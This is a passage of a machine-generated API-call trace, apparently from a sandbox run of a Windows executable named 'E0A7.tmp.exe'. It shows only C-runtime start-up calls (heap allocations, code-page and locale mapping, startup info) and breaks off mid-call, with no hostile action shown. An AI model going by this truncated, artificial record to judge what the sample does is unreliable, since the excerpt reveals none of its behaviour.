(HeapHandle=0x660000, Flags=0x8, Size=0x3bc) returned 0x7030c8 [0049.618] GetCurrentThreadId () returned 0x8ec [0049.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x6f6000 [0049.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x800) returned 0x703490 [0049.618] GetStartupInfoW (in: lpStartupInfo=0x18fe3c | out: lpStartupInfo=0x18fe3c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x24bb849e, hStdError=0xfffffffe)) [0049.618] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.618] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.618] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.618] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " [0049.618] GetEnvironmentStringsW () returned 0x703c98* [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xaca) returned 0x704770 [0049.619] FreeEnvironmentStringsW (penv=0x703c98) returned 1 [0049.619] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6e) returned 0x703c98 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x98) returned 0x703d10 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3e) returned 0x6f8c90 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x6c) returned 0x703db0 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x6e) returned 0x703e28 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x78) returned 0x6f6b70 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x62) returned 0x703ea0 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x6fede8 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x48) returned 0x6fa9a0 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x28) returned 0x6fe7a8 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1a) returned 0x702d28 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x4a) returned 0x703f10 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x72) returned 0x6f6bf0 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x6fee20 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x6fee58 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1c) returned 0x702d50 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xd2) returned 0x703f68 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x7c) returned 0x704048 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x36) returned 0x7040d0 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3a) returned 0x6f8cd8 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x90) returned 0x704110 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x6fe7d8 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x6fee90 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x36) returned 0x7041a8 [0049.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x48) returned 0x6fa9f0 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x52) returned 0x7041e8 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3c) returned 0x6f8d20 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x82) returned 0x704248 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2e) returned 0x6feec8 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1e) returned 0x702d78 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2c) returned 0x6fef00 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x54) returned 0x7042d8 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x52) returned 0x704338 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x2a) returned 0x6fef38 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3c) returned 0x6f8d68 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x54) returned 0x704398 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x6fe808 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x30) returned 0x6fef70 [0049.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x8c) returned 0x7043f8 [0049.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x704770 | out: hHeap=0x660000) returned 1 [0049.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x80) returned 0x704490 [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] GetACP () returned 0x4e4 [0049.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x220) returned 0x704518 [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.621] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe30 | out: lpCPInfo=0x18fe30) returned 1 [0049.621] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f8f8 | out: lpCPInfo=0x18f8f8) returned 1 [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f678, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ") returned 256 [0049.621] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ疏BĀ", cchSrc=256, lpCharType=0x18f90c | out: lpCharType=0x18f90c) returned 1 [0049.621] GetLastError () returned 0x0 [0049.621] SetLastError (dwErrCode=0x0) [0049.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f648, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0049.622] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.622] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18f438, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0049.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fc0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x2e\x84\xbb\x24\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.622] GetLastError () returned 0x0 [0049.622] SetLastError (dwErrCode=0x0) [0049.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f668, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.622] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.622] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f458, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0049.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fb0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x2e\x84\xbb\x24\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.622] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x800) returned 0x704740 [0049.622] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c0d7 [0049.622] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.623] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.623] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.623] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 